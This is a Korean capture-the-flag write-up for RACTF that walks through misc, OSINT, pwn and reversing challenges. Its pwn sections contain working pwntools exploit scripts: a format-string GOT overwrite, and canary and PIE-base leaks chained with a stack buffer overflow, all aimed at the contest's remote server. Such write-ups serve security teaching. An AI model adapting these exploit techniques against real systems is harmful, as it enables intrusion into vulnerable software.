4250 점중에 2500 점 획득해서 168등을 하게 되었습니다.
이번에도 팀원들이 잘해준것같습니다. 한 문제를 깨면, 다른 연관된 문제가 풀리는
퀘스트형식으로 되어있는점이 신기하고 재밌었어요.
- misc
pearl pearl pearl
- osint
RAirways
- pwn
Not really AI
Finches in a Stack
Finches in a Pie
- rev
Solved in a Flash
Snakes and Ladders
(crypto 는 각각 카이사르, 비즈네르 암호라 따로 다루지는 않겠습니다)
MISC
pearl pearl pearl
문제서버에 접속해 pwntools 로 값을 받아올때, log level 을 debug 로 설정하면,
이렇게 값이 옵니다. \r \n 두가지가 불규칙적으로 반복되는걸 봐서는,
모스부호나 이진수로 예측해볼 수 있습니다.
flag 포맷이 ractf{ 이니, r 의 아스키코드 이진수를 구해보면
01110010 이고, \r\n\n\n\r\r\n\r 와 비교했을때
\r 을 0으로, \n 을 1 로 매칭이 되므로 치환해서 8바이트씩 문자화하면 flag 가 뜰것입니다.
from pwn import *
r=remote('95.216.233.106',33376)
context.log_level='debug'
a=r.recv(5000000000000000000000)
b=r.recv(500000)
c=a+b
bits=''
for i in range(len(c)):
if c[i]=='\r':
bits+='0'
if c[i]=='\n':
bits+='1'
flag=''
for i in range(0,len(bits),8):
flag+=chr(int(bits[i:i+8],2))
print(flag)
(r.recv() 로 전부 받아지지 않아서 두번받아왔습니다)
OSINT
RAirways
사진을 하나 주고 flag 를 찾으라한다.
구글링해보니, 비행기티켓바코드에는 중요한 개인정보가 들어있다고한다.
핸드폰 바코드스캐너앱으로,
원본사진 다운받은 후 확대해서 스캔하면 flag 가 뜬다.
OSINT 라는 분야를 이번에 처음 봤는데,
정보찾는분야라고한다. 재밌는것같다.
PWNABLE
Not really AI
void response(void)
{
char local_20c [516];
puts("How are you finding RACTF?");
fgets(local_20c,0x200,stdin);
puts("I am glad you");
printf(local_20c);
puts("\nWe hope you keep going!");
return;
}
취약점이 발생하는 response 함수입니다.
fgets 로 0x200 만큼 입력을 받고, printf 로 서식문자없이 출력을해주므로
FSB 가 일어납니다.
RELRO 가 Partial 로 설정되어있으니,
puts 함수 got 주소를 덮어쓸수있겠네요.
printf 함수를 호출하기직전 스택상황입니다.
esp+4 부터 4바이트씩 출력을 해주니, 4번째부터 버퍼값에 접근할수있겠네요.
flag 를 출력해주는 flaggy 함수가 주어지니,
두 번에 나눠서, puts.got 에 flaggy 함수의 주소를 쓰면되겠습니다.
puts.got 주소는 0x804c018 이므로,
0x804c018 에 flaggy 함수 하위 2byte 인 0x9245 를 overwrite,
0x804c018 + 2 에 flaggy 함수 상위 2byte 인 0x804 overwrite 합시다.
payload 길이가 약 28 정도되는데, 4바이트씩 맞춰줘야 함수주소가 잘리지않기때문에
ljust 로 28을 공백으로 채워줍니다.
payload 가 28byte 이므로, 4 + 28/4 = 11 번째에 puts 함수주소를 쓰고,
12번째에 puts 함수주소+2 를 써서, got overwrite 하면 됩니다.
from pwn import *
r=remote("95.216.233.106",35403)
#r=process("./nra")
puts_got=0x804c018
flag=0x8049245
pay=''
pay+='%'+str(0x804)+'x'
pay+='%11$hn'
pay+='%'+str(0x9245-0x804)+'x'
pay+='%12$hn'
pay=pay.ljust(28,' ')
pay+=p32(0x804c01a)
pay+=p32(0x804c018)
print(pay)
r.sendline(pay)
r.interactive()
Finches in a Stack
void say_hi(void)
{
char cVar1;
uint uVar2;
char *pcVar3;
int in_GS_OFFSET;
byte bVar4;
char local_29 [4];
undefined2 uStack37;
undefined local_22 [18];
int local_10;
bVar4 = 0;
local_10 = *(int *)(in_GS_OFFSET + 0x14);
printf("Hi! What\'s your name? ");
gets((char *)((int)&uStack37 + 1));
printf("Nice to meet you, ");
uVar2 = 0xffffffff;
pcVar3 = (char *)((int)&uStack37 + 1);
do {
if (uVar2 == 0) break;
uVar2 = uVar2 - 1;
cVar1 = *pcVar3;
pcVar3 = pcVar3 + (uint)bVar4 * -2 + 1;
} while (cVar1 != '\0');
*(undefined2 *)((int)&uStack37 + ~uVar2) = 0xa21;
*(undefined *)((int)&uStack37 + ~uVar2 + 2) = 0;
printf((char *)((int)&uStack37 + 1));
puts("Do YOU want to pet my canary?");
gets(local_29);
if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) {
__stack_chk_fail_local();
}
return;
}
취약점이 발생하는 say_hi 함수입니다. name 을 gets 로 입력받아 BOF 가 발생하고,
마지막글자에 !\n 을 붙여줘서 서식문자없이 출력해줘서 FSB 도 발생합니다.
그리고 gets 로 local_29 에 입력을 받네요.
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
FSB 로 esp+4 부터 쭉 출력할수있으니, CANARY 를 leak 할 수 있습니다.
그리고 주어진 원샷가젯 flag 함수로 리턴하면 flag 를 얻을수있겠네요.
canary 는 ebp-0xc 즉 , esp+4 부터 11번째에 위치하고있습니다.
그래서 %11$x 로 canary 를 leak 할 수 있습니다.
from pwn import *
r=remote("95.216.233.106",45107)
#r=process("./fias")
b=ELF("./fias")
pay1='%11$x'
context.log_level='debug'
r.sendafter("name? ",pay1+'\n')
r.recvuntil('you, ')
canary=int(r.recv(8).replace("!\n",''),16)
log.info(hex(canary))
pay2=""
pay2='x'*(0x25-0xc)
pay2+=p32(canary)
pay2+='x'*12
pay2+=p32(b.symbols['flag'])
r.sendline(pay2)
r.interactive()
Finches in a Pie
void say_hi(void)
{
char cVar1;
uint uVar2;
char *pcVar3;
int in_GS_OFFSET;
byte bVar4;
char local_29 [4];
undefined2 uStack37;
undefined local_22 [18];
int local_10;
bVar4 = 0;
local_10 = *(int *)(in_GS_OFFSET + 0x14);
puts("CATCH HIM!\n");
puts("You got him! Thank you!");
puts("What\'s your name?");
gets((char *)((int)&uStack37 + 1));
printf("Thank you, ");
uVar2 = 0xffffffff;
pcVar3 = (char *)((int)&uStack37 + 1);
do {
if (uVar2 == 0) break;
uVar2 = uVar2 - 1;
cVar1 = *pcVar3;
pcVar3 = pcVar3 + (uint)bVar4 * -2 + 1;
} while (cVar1 != '\0');
*(undefined2 *)((int)&uStack37 + ~uVar2) = 0xa21;
*(undefined *)((int)&uStack37 + ~uVar2 + 2) = 0;
printf((char *)((int)&uStack37 + 1));
puts("Would you like some cake?");
gets(local_29);
if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) {
__stack_chk_fail_local();
}
return;
}
finches in stack 과 아주 유사한 파일입니다.
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : Partial
PIE 가 추가되었습니다. 아까와똑같이 canary를 leak 하고,
ret 주소를 leak 해서 base 주소를 알아내면 되겠습니다.
main+113 으로 리턴하니, leak 된 ret 주소에서 113+main offset 을 뺀뒤,
제공된 oneshot flag 함수 offset 에 더해준뒤, 그곳으로 리턴해주면 되겠습니다.
fsb 가 일어나는 printf 함수 호출직전 스택상황입니다!
esp+4 인 0xf7feae20 부터 출력을 해주니까, canary는 11번째에 있고,
ret 주소는 15번째에 있는게 보입니다.
%11$x,%15$x 이렇게 canary 와 ret 주소를 leak 해줍시다.
from pwn import *
r=remote("95.216.233.106",15021)
#r=process("./fiap")
b=ELF("./fiap")
context.log_level='debug'
flag=b.symbols['flag']
main=b.symbols['main']
pay1=""
pay1+='%11$x'+','+'%15$x'
r.sendafter("name?",pay1+'\n')
r.recvuntil("you, ")
canary=int(r.recv(8),16)
r.recv(1)
main113=int(r.recv(8),16)
base=main113-113-main
flag+=base
pay2=""
pay2+='x'*(0x25-0xc)
pay2+=p32(canary)
pay2+='x'*12
pay2+=p32(flag)
r.sendline(pay2)
r.interactive()
REVERSING
Solved in a Flash
avr 아키텍쳐로 된 파일인걸 알수있다.
간단히 string 명령어로 flag 를 획득할 수 있다.
Snakes and Ladders
def xor(s1,s2):
return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2))
def encrypt(a):
some_text = a[::2]
randnum = 14
text_length = len(some_text)
endtext = ""
for i in range(1, text_length + 1):
weirdtext = some_text[i - 1]
if weirdtext >= "a" and weirdtext <= "z":
weirdtext = chr(ord(weirdtext) + randnum)
if weirdtext > "z":
weirdtext = chr(ord(weirdtext) - 26)
endtext += weirdtext
randtext = a[1::2]
xored = xor("aaaaaaaaaaaaaaa", randtext)
hex_xored = xored.encode("utf-8").hex()
return endtext + hex_xored
def decrypt(msg):
raise NotImplementedError
def main():
opt = input("Would you like to [E]ncrypt or [D]ecrypt? ")
if opt[:1].lower() == "e":
msg = input("Enter message to encrypt: ")
print(f"Encrypted message: {encrypt(msg)}")
elif opt[:1].lower() == "d":
msg = input("Enter message to decrypt: ")
print(f"Decrypted message: {decrypt(msg)}")
if __name__ == "__main__":
main()
The flag is
fqtbjfub4uj_0_d00151a52523e510f3e50521814141c
The attached file may be useful.
flag 의 앞부분은 알파벳 + 특수문자로 이루어져있고,
뒷부분은 hex 문자열로 이루어진 걸 볼 수 있다.
0부터 짝수번째 인덱스에 있는 문자들은
알파벳일때 카이사르 키 14 로 암호화되고,
아니면 그대로 저장된다.
1부터 홀수번째 인덱스에 있는 문자들은
각각 ord('a') 와 xor 연산되어 저장된다.
앞부분은 알파벳일때 카이사르 키 -14 로 다시 복호화하고,
뒷부분은 2글자씩 잘라서 ord('a') 와 XOR 해서 복호화한다.
이렇게 복호화된 두부분을, flag 문자열에 순서대로 각각 하나씩 가져와 추가한다.
flag='fqtbjfub4uj_0_d00151a52523e510f3e50521814141c'
dec=''
num2=[]
num=[]
alphabet='abcdefghijklmnopqrstuvwxyz'
for i in range(15,len(flag),2):
num.append(int(flag[i:i+2],16))
for i in range(len(num)):
num[i]=chr(num[i]^ord('a'))
for i in range(0,15):
if flag[i] in alphabet:
num2.append(alphabet[ord(flag[i])-14-97])
else:
num2.append(chr(ord(flag[i])))
c1=0
c2=0
for i in range(30):
if i%2==0:
dec+=num2[c1]
c1+=1
else:
dec+=num[c2]
c2+=1
print(dec)
부족하지만 읽어주셔서 감사합니다.